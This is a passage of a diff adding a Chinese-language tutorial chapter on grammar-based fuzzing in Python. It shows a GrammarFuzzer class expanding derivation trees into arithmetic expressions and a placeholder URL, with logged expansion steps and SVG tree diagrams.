+        tree = self.expand_tree_with_strategy(
+            tree, self.expand_node_randomly, self.max_nonterminals)
+        tree = self.expand_tree_with_strategy(
+            tree, self.expand_node_min_cost)
+
+        assert self.possible_expansions(tree) == 0
+
+        return tree
+
+```
+
+让我们在我们的示例中尝试一下。
+
+```py
+derivation_tree = ("<start>",
+                   [("<expr>",
+                     [("<expr>", None),
+                      (" + ", []),
+                         ("<term>", None)]
+                     )])
+
+f = GrammarFuzzer(
+    EXPR_GRAMMAR,
+    min_nonterminals=3,
+    max_nonterminals=5,
+    log=True)
+derivation_tree = f.expand_tree(derivation_tree)
+
+```
+
+```py
+Tree: <expr> + <term>
+Expanding <expr> at maximum cost
+Tree: <term> + <expr> + <term>
+Expanding <term> randomly
+Tree: <factor> + <expr> + <term>
+Expanding <term> randomly
+Tree: <factor> + <expr> + <factor>
+Expanding <expr> randomly
+Tree: <factor> + <term> - <expr> + <factor>
+Expanding <term> randomly
+Tree: <factor> + <factor> * <term> - <expr> + <factor>
+Expanding <factor> at minimum cost
+Tree: <factor> + <factor> * <term> - <expr> + <integer>
+Expanding <term> at minimum cost
+Tree: <factor> + <factor> * <factor> - <expr> + <integer>
+Expanding <factor> at minimum cost
+Tree: <integer> + <factor> * <factor> - <expr> + <integer>
+Expanding <integer> at minimum cost
+Tree: <integer> + <factor> * <factor> - <expr> + <digit>
+Expanding <digit> at minimum cost
+Tree: <integer> + <factor> * <factor> - <expr> + 1
+Expanding <expr> at minimum cost
+Tree: <integer> + <factor> * <factor> - <term> + 1
+Expanding <integer> at minimum cost
+Tree: <digit> + <factor> * <factor> - <term> + 1
+Expanding <digit> at minimum cost
+Tree: 8 + <factor> * <factor> - <term> + 1
+Expanding <term> at minimum cost
+Tree: 8 + <factor> * <factor> - <factor> + 1
+Expanding <factor> at minimum cost
+Tree: 8 + <factor> * <integer> - <factor> + 1
+Expanding <factor> at minimum cost
+Tree: 8 + <factor> * <integer> - <integer> + 1
+Expanding <factor> at minimum cost
+Tree: 8 + <integer> * <integer> - <integer> + 1
+Expanding <integer> at minimum cost
+Tree: 8 + <digit> * <integer> - <integer> + 1
+Expanding <integer> at minimum cost
+Tree: 8 + <digit> * <digit> - <integer> + 1
+Expanding <integer> at minimum cost
+Tree: 8 + <digit> * <digit> - <digit> + 1
+Expanding <digit> at minimum cost
+Tree: 8 + 8 * <digit> - <digit> + 1
+Expanding <digit> at minimum cost
+Tree: 8 + 8 * <digit> - 1 + 1
+Expanding <digit> at minimum cost
+Tree: 8 + 8 * 2 - 1 + 1
+
+```
+
+```py
+display_tree(derivation_tree)
+
+```
+
+<svg height="482pt" viewBox="0.00 0.00 349.00 482.00" width="349pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 478)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="210.5" y="-462.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="210.5" y="-411.8"><expr></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="160.5" y="-360.8"><expr></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node29"><title>28</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="210.5" y="-360.8">+</text></g> <g class="edge" id="edge28"><title>1->28</title></g> <g class="node" id="node30"><title>29</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="259.5" y="-360.8"><term></text></g> <g class="edge" id="edge29"><title>1->29</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="97.5" y="-309.8"><term></text></g> <g class="edge" id="edge3"><title>2->3</title></g> <g class="node" id="node9"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="152.5" y="-309.8">+</text></g> <g class="edge" id="edge8"><title>2->8</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="198.5" y="-309.8"><expr></text></g> <g class="edge" id="edge9"><title>2->9</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="56.5" y="-258.8"><factor></text></g> <g class="edge" id="edge4"><title>3->4</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-207.8"><integer></text></g> <g class="edge" id="edge5"><title>4->5</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-156.8"><digit></text></g> <g class="edge" id="edge6"><title>5->6</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-105.8">8</text></g> <g class="edge" id="edge7"><title>6->7</title></g> <g class="node" id="node11"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="148.5" y="-258.8"><term></text></g> <g class="edge" id="edge10"><title>9->10</title></g> <g class="node" id="node22"><title>21</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="198.5" y="-258.8">-</text></g> <g class="edge" id="edge21"><title>9->21</title></g> <g class="node" id="node23"><title>22</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="246.5" y="-258.8"><expr></text></g> <g class="edge" id="edge22"><title>9->22</title></g> <g class="node" id="node12"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="97.5" y="-207.8"><factor></text></g> <g class="edge" id="edge11"><title>10->11</title></g> <g class="node" id="node16"><title>15</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="147.5" y="-207.8">*</text></g> <g class="edge" id="edge15"><title>10->15</title></g> <g class="node" id="node17"><title>16</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="194.5" y="-207.8"><term></text></g> <g class="edge" id="edge16"><title>10->16</title></g> <g class="node" id="node13"><title>12</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="97.5" y="-156.8"><integer></text></g> <g class="edge" id="edge12"><title>11->12</title></g> <g class="node" id="node14"><title>13</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="97.5" y="-105.8"><digit></text></g> <g class="edge" id="edge13"><title>12->13</title></g> <g class="node" id="node15"><title>14</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="97.5" y="-54.8">8</text></g> <g class="edge" id="edge14"><title>13->14</title></g> <g class="node" id="node18"><title>17</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="189.5" y="-156.8"><factor></text></g> <g class="edge" id="edge17"><title>16->17</title></g> <g class="node" id="node19"><title>18</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="187.5" y="-105.8"><integer></text></g> <g class="edge" id="edge18"><title>17->18</title></g> <g class="node" id="node20"><title>19</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="187.5" y="-54.8"><digit></text></g> <g class="edge" id="edge19"><title>18->19</title></g> <g class="node" id="node21"><title>20</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="187.5" y="-3.8">2</text></g> <g class="edge" id="edge20"><title>19->20</title></g> <g class="node" id="node24"><title>23</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="254.5" y="-207.8"><term></text></g> <g class="edge" id="edge23"><title>22->23</title></g> <g class="node" id="node25"><title>24</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="259.5" y="-156.8"><factor></text></g> <g class="edge" id="edge24"><title>23->24</title></g> <g class="node" id="node26"><title>25</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="260.5" y="-105.8"><integer></text></g> <g class="edge" id="edge25"><title>24->25</title></g> <g class="node" id="node27"><title>26</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="260.5" y="-54.8"><digit></text></g> <g class="edge" id="edge26"><title>25->26</title></g> <g class="node" id="node28"><title>27</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="260.5" y="-3.8">1</text></g> <g class="edge" id="edge27"><title>26->27</title></g> <g class="node" id="node31"><title>30</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="285.5" y="-309.8"><factor></text></g> <g class="edge" id="edge30"><title>29->30</title></g> <g class="node" id="node32"><title>31</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="313.5" y="-258.8"><integer></text></g> <g class="edge" id="edge31"><title>30->31</title></g> <g class="node" id="node33"><title>32</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="314.5" y="-207.8"><digit></text></g> <g class="edge" id="edge32"><title>31->32</title></g> <g class="node" id="node34"><title>33</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="314.5" y="-156.8">1</text></g> <g class="edge" id="edge33"><title>32->33</title></g></g></svg>
+
+```py
+all_terminals(derivation_tree)
+
+```
+
+```py
+'8 + 8 * 2 - 1 + 1'
+
+```
+
+## 全部放在一起
+
+基于此，我们现在可以定义一个函数`fuzz()`，它像`simple_grammar_fuzzer()`一样简单地采用语法并从中产生一个字符串。 因此，它不再暴露出派生树的复杂性。
+
+```py
+class GrammarFuzzer(GrammarFuzzer):
+    def fuzz_tree(self):
+        # Create an initial derivation tree
+        tree = self.init_tree()
+        # print(tree)
+
+        # Expand all nonterminals
+        tree = self.expand_tree(tree)
+        if self.log:
+            print(repr(all_terminals(tree)))
+        if self.disp:
+            display(display_tree(tree))
+        return tree
+
+    def fuzz(self):
+        self.derivation_tree = self.fuzz_tree()
+        return all_terminals(self.derivation_tree)
+
+```
+
+现在，我们可以将其应用到所有定义的语法中（并可视化派生树）
+
+```py
+f = GrammarFuzzer(EXPR_GRAMMAR)
+f.fuzz()
+
+```
+
+```py
+'(4 + 8) + -4 / 6 * +3 / 3 / 0 + 8 * 5 + 8'
+
+```
+
+调用`fuzz()`之后，可以在`derivation_tree`属性中访问生成的派生树：
+
+```py
+display_tree(f.derivation_tree)
+
+```
+
+<svg height="584pt" viewBox="0.00 0.00 740.00 584.00" width="740pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 580)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="245.5" y="-564.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="245.5" y="-513.8"><expr></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="186.5" y="-462.8"><term></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node20"><title>19</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="245.5" y="-462.8">+</text></g> <g class="edge" id="edge19"><title>1->19</title></g> <g class="node" id="node21"><title>20</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="297.5" y="-462.8"><expr></text></g> <g class="edge" id="edge20"><title>1->20</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="118.5" y="-411.8"><factor></text></g> <g class="edge" id="edge3"><title>2->3</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="56.5" y="-360.8">(</text></g> <g class="edge" id="edge4"><title>3->4</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="97.5" y="-360.8"><expr></text></g> <g class="edge" id="edge5"><title>3->5</title></g> <g class="node" id="node19"><title>18</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="138.5" y="-360.8">)</text></g> <g class="edge" id="edge18"><title>3->18</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-309.8"><term></text></g> <g class="edge" id="edge6"><title>5->6</title></g> <g class="node" id="node12"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="74.5" y="-309.8">+</text></g> <g class="edge" id="edge11"><title>5->11</title></g> <g class="node" id="node13"><title>12</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="120.5" y="-309.8"><expr></text></g> <g class="edge" id="edge12"><title>5->12</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-258.8"><factor></text></g> <g class="edge" id="edge7"><title>6->7</title></g> <g class="node" id="node9"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-207.8"><integer></text></g> <g class="edge" id="edge8"><title>7->8</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-156.8"><digit></text></g> <g class="edge" id="edge9"><title>8->9</title></g> <g class="node" id="node11"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-105.8">4</text></g> <g class="edge" id="edge10"><title>9->10</title></g> <g class="node" id="node14"><title>13</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="120.5" y="-258.8"><term></text></g> <g class="edge" id="edge13"><title>12->13</title></g> <g class="node" id="node15"><title>14</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="120.5" y="-207.8"><factor></text></g> <g class="edge" id="edge14"><title>13->14</title></g> <g class="node" id="node16"><title>15</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="120.5" y="-156.8"><integer></text></g> <g class="edge" id="edge15"><title>14->15</title></g> <g class="node" id="node17"><title>16</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="120.5" y="-105.8"><digit></text></g> <g class="edge" id="edge16"><title>15->16</title></g> <g class="node" id="node18"><title>17</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="120.5" y="-54.8">8</text></g> <g class="edge" id="edge17"><title>16->17</title></g> <g class="node" id="node22"><title>21</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="274.5" y="-411.8"><term></text></g> <g class="edge" id="edge21"><title>20->21</title></g> <g class="node" id="node55"><title>54</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="321.5" y="-411.8">+</text></g> <g class="edge" id="edge54"><title>20->54</title></g> <g class="node" id="node56"><title>55</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="611.5" y="-411.8"><expr></text></g> <g class="edge" id="edge55"><title>20->55</title></g> <g class="node" id="node23"><title>22</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="206.5" y="-360.8"><factor></text></g> <g class="edge" id="edge22"><title>21->22</title></g> <g class="node" id="node29"><title>28</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="274.5" y="-360.8">/</text></g> <g class="edge" id="edge28"><title>21->28</title></g> <g class="node" id="node30"><title>29</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="320.5" y="-360.8"><term></text></g> <g class="edge" id="edge29"><title>21->29</title></g> <g class="node" id="node24"><title>23</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="161.5" y="-309.8">-</text></g> <g class="edge" id="edge23"><title>22->23</title></g> <g class="node" id="node25"><title>24</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="206.5" y="-309.8"><factor></text></g> <g class="edge" id="edge24"><title>22->24</title></g> <g class="node" id="node26"><title>25</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="189.5" y="-258.8"><integer></text></g> <g class="edge" id="edge25"><title>24->25</title></g> <g class="node" id="node27"><title>26</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="186.5" y="-207.8"><digit></text></g> <g class="edge" id="edge26"><title>25->26</title></g> <g class="node" id="node28"><title>27</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="186.5" y="-156.8">4</text></g> <g class="edge" id="edge27"><title>26->27</title></g> <g class="node" id="node31"><title>30</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="273.5" y="-309.8"><factor></text></g> <g class="edge" id="edge30"><title>29->30</title></g> <g class="node" id="node35"><title>34</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="323.5" y="-309.8">*</text></g> <g class="edge" id="edge34"><title>29->34</title></g> <g class="node" id="node36"><title>35</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="374.5" y="-309.8"><term></text></g> <g class="edge" id="edge35"><title>29->35</title></g> <g class="node" id="node32"><title>31</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="263.5" y="-258.8"><integer></text></g> <g class="edge" id="edge31"><title>30->31</title></g> <g class="node" id="node33"><title>32</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="246.5" y="-207.8"><digit></text></g> <g class="edge" id="edge32"><title>31->32</title></g> <g class="node" id="node34"><title>33</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="246.5" y="-156.8">6</text></g> <g class="edge" id="edge33"><title>32->33</title></g> <g class="node" id="node37"><title>36</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="333.5" y="-258.8"><factor></text></g> <g class="edge" id="edge36"><title>35->36</title></g> <g class="node" id="node43"><title>42</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="381.5" y="-258.8">/</text></g> <g class="edge" id="edge42"><title>35->42</title></g> <g class="node" id="node44"><title>43</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="440.5" y="-258.8"><term></text></g> <g class="edge" id="edge43"><title>35->43</title></g> <g class="node" id="node38"><title>37</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="289.5" y="-207.8">+</text></g> <g class="edge" id="edge37"><title>36->37</title></g> <g class="node" id="node39"><title>38</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="336.5" y="-207.8"><factor></text></g> <g class="edge" id="edge38"><title>36->38</title></g> <g class="node" id="node40"><title>39</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="333.5" y="-156.8"><integer></text></g> <g class="edge" id="edge39"><title>38->39</title></g> <g class="node" id="node41"><title>40</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="333.5" y="-105.8"><digit></text></g> <g class="edge" id="edge40"><title>39->40</title></g> <g class="node" id="node42"><title>41</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="333.5" y="-54.8">3</text></g> <g class="edge" id="edge41"><title>40->41</title></g> <g class="node" id="node45"><title>44</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="403.5" y="-207.8"><factor></text></g> <g class="edge" id="edge44"><title>43->44</title></g> <g class="node" id="node49"><title>48</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="451.5" y="-207.8">/</text></g> <g class="edge" id="edge48"><title>43->48</title></g> <g class="node" id="node50"><title>49</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="496.5" y="-207.8"><term></text></g> <g class="edge" id="edge49"><title>43->49</title></g> <g class="node" id="node46"><title>45</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="406.5" y="-156.8"><integer></text></g> <g class="edge" id="edge45"><title>44->45</title></g> <g class="node" id="node47"><title>46</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="406.5" y="-105.8"><digit></text></g> <g class="edge" id="edge46"><title>45->46</title></g> <g class="node" id="node48"><title>47</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="406.5" y="-54.8">3</text></g> <g class="edge" id="edge47"><title>46->47</title></g> <g class="node" id="node51"><title>50</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="496.5" y="-156.8"><factor></text></g> <g class="edge" id="edge50"><title>49->50</title></g> <g class="node" id="node52"><title>51</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="496.5" y="-105.8"><integer></text></g> <g class="edge" id="edge51"><title>50->51</title></g> <g class="node" id="node53"><title>52</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="496.5" y="-54.8"><digit></text></g> <g class="edge" id="edge52"><title>51->52</title></g> <g class="node" id="node54"><title>53</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="496.5" y="-3.8">0</text></g> <g class="edge" id="edge53"><title>52->53</title></g> <g class="node" id="node57"><title>56</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="588.5" y="-360.8"><term></text></g> <g class="edge" id="edge56"><title>55->56</title></g> <g class="node" id="node68"><title>67</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="635.5" y="-360.8">+</text></g> <g class="edge" id="edge67"><title>55->67</title></g> <g class="node" id="node69"><title>68</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="689.5" y="-360.8"><expr></text></g> <g class="edge" id="edge68"><title>55->68</title></g> <g class="node" id="node58"><title>57</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="538.5" y="-309.8"><factor></text></g> <g class="edge" id="edge57"><title>56->57</title></g> <g class="node" id="node62"><title>61</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="588.5" y="-309.8">*</text></g> <g class="edge" id="edge61"><title>56->61</title></g> <g class="node" id="node63"><title>62</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="635.5" y="-309.8"><term></text></g> <g class="edge" id="edge62"><title>56->62</title></g> <g class="node" id="node59"><title>58</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="549.5" y="-258.8"><integer></text></g> <g class="edge" id="edge58"><title>57->58</title></g> <g class="node" id="node60"><title>59</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="556.5" y="-207.8"><digit></text></g> <g class="edge" id="edge59"><title>58->59</title></g> <g class="node" id="node61"><title>60</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="556.5" y="-156.8">8</text></g> <g class="edge" id="edge60"><title>59->60</title></g> <g class="node" id="node64"><title>63</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="632.5" y="-258.8"><factor></text></g> <g class="edge" id="edge63"><title>62->63</title></g> <g class="node" id="node65"><title>64</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="631.5" y="-207.8"><integer></text></g> <g class="edge" id="edge64"><title>63->64</title></g> <g class="node" id="node66"><title>65</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="631.5" y="-156.8"><digit></text></g> <g class="edge" id="edge65"><title>64->65</title></g> <g class="node" id="node67"><title>66</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="631.5" y="-105.8">5</text></g> <g class="edge" id="edge66"><title>65->66</title></g> <g class="node" id="node70"><title>69</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="698.5" y="-309.8"><term></text></g> <g class="edge" id="edge69"><title>68->69</title></g> <g class="node" id="node71"><title>70</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="702.5" y="-258.8"><factor></text></g> <g class="edge" id="edge70"><title>69->70</title></g> <g class="node" id="node72"><title>71</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="704.5" y="-207.8"><integer></text></g> <g class="edge" id="edge71"><title>70->71</title></g> <g class="node" id="node73"><title>72</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="704.5" y="-156.8"><digit></text></g> <g class="edge" id="edge72"><title>71->72</title></g> <g class="node" id="node74"><title>73</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="704.5" y="-105.8">8</text></g> <g class="edge" id="edge73"><title>72->73</title></g></g></svg>
+
+让我们尝试其他语法格式的语法模糊器（及其树）。
+
+```py
+f = GrammarFuzzer(URL_GRAMMAR)
+f.fuzz()
+
+```
+
+```py
+'https://user:password@www.google.com?def=6'
+
+```
+
+```py
+display_tree(f.derivation_tree)
+
+```
+
+<svg height="380pt" viewBox="0.00 0.00 381.00 380.00" width="381pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 376)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="144" y="-360.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="144" y="-309.8"><url></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="29" y="-258.8"><scheme></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="86" y="-258.8">://</text></g> <g class="edge" id="edge4"><title>1->4</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="144" y="-258.8"><authority></text></g> <g class="edge" id="edge5"><title>1->5</title></g> <g class="node" id="node12"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="216" y="-258.8"><path></text></g> <g class="edge" id="edge11"><title>1->11</title></g> <g class="node" id="node14"><title>13</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="278" y="-258.8"><query></text></g> <g class="edge" id="edge13"><title>1->13</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="25" y="-207.8">https</text></g> <g class="edge" id="edge3"><title>2->3</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="88" y="-207.8"><userinfo></text></g> <g class="edge" id="edge6"><title>5->6</title></g> <g class="node" id="node9"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="144" y="-207.8">@</text></g> <g class="edge" id="edge8"><title>5->8</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="189" y="-207.8"><host></text></g> <g class="edge" id="edge9"><title>5->9</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="84" y="-156.8">user:password</text></g> <g class="edge" id="edge7"><title>6->7</title></g> <g class="node" id="node11"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="193" y="-156.8">www.google.com</text></g> <g class="edge" id="edge10"><title>9->10</title></g> <g class="node" id="node13"><title>12</title></g> <g class="edge" id="edge12"><title>11->12</title></g> <g class="node" id="node15"><title>14</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="263" y="-207.8">?</text></g> <g class="edge" id="edge14"><title>13->14</title></g> <g class="node" id="node16"><title>15</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="313" y="-207.8"><params></text></g> <g class="edge" id="edge15"><title>13->15</title></g> <g class="node" id="node17"><title>16</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="313" y="-156.8"><param></text></g> <g class="edge" id="edge16"><title>15->16</title></g> <g class="node" id="node18"><title>17</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="277" y="-105.8"><id></text></g> <g class="edge" id="edge17"><title>16->17</title></g> <g class="node" id="node20"><title>19</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="313" y="-105.8">=</text></g> <g class="edge" id="edge19"><title>16->19</title></g> <g class="node" id="node21"><title>20</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="352" y="-105.8"><nat></text></g> <g class="edge" id="edge20"><title>16->20</title></g> <g class="node" id="node19"><title>18</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="277" y="-54.8">def</text></g> <g class="edge" id="edge18"><title>17->18</title></g> <g class="node" id="node22"><title>21</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="352" y="-54.8"><digit></text></g> 